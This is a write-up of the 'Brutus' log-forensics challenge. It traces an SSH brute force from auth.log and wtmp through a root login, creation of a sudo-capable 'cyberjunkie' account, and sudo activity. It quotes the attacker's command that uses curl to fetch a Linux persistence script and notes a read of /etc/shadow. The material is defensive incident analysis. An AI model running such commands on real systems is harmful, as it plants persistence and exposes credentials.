Brutus provides Linux authentication artifacts rather than a machine to exploit. I used auth.log to identify the attacker and trace SSH and sudo activity, then checked wtmp to distinguish successful authentication from the start of an interactive terminal session.
Identify the brute force source
The Failed password entries show 65.2.161.68 trying several usernames in rapid succession, including admin, backup, server_adm, svc_account, and root.
grep 'Failed password' auth.logMar 6 06:31:33 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2
Mar 6 06:31:33 sshd[2338]: Failed password for backup from 65.2.161.68 port 46512 ssh2The Accepted password entries show that the same IP later authenticated as root. Another address, 203.101.190.9, also had a root login, but its earlier session was not part of this brute force sequence. Correlating IP and time avoids mixing the two users’ activity.
Mar 6 06:31:40 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar 6 06:32:44 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2Reconstruct the interactive session
last -F -f wtmp shows the attacker’s root terminal session on pts/1 beginning at 2024-03-06 06:32:45 UTC. The corresponding auth.log authentication event is at 06:32:44. The one-second difference is why the login timestamp should be taken from wtmp for this question.
root pts/1 65.2.161.68 Wed Mar 6 06:32:45 2024 - Wed Mar 6 06:37:24 2024The matching systemd-logind entry assigned that root login session 37. The notes also show a brief earlier successful root authentication at 06:31:40, assigned session 34; the later pts/1 session is the one used for the attacker’s manual activity.
Trace persistence and privileged commands
At 06:34:18, useradd created cyberjunkie. At 06:35:15, usermod added it to the sudo group. Creating a local account for continued access maps to MITRE ATT&CK T1136.001.
Mar 6 06:32:44 systemd-logind[411]: New session 37 of user root.
Mar 6 06:34:18 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002The root SSH session tied to process 2491 closed at 06:37:24 UTC. The attacker then logged in as cyberjunkie and used sudo to read /etc/shadow and fetch a script. The command requested by the room is:
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.shThe relevant log entries show the root SSH process closing at 06:37:24 and cyberjunkie running the curl command through sudo at 06:39:38.
The key correlation is source IP → successful root authentication → wtmp terminal session → new local account → sudo activity. No single log line tells the whole story.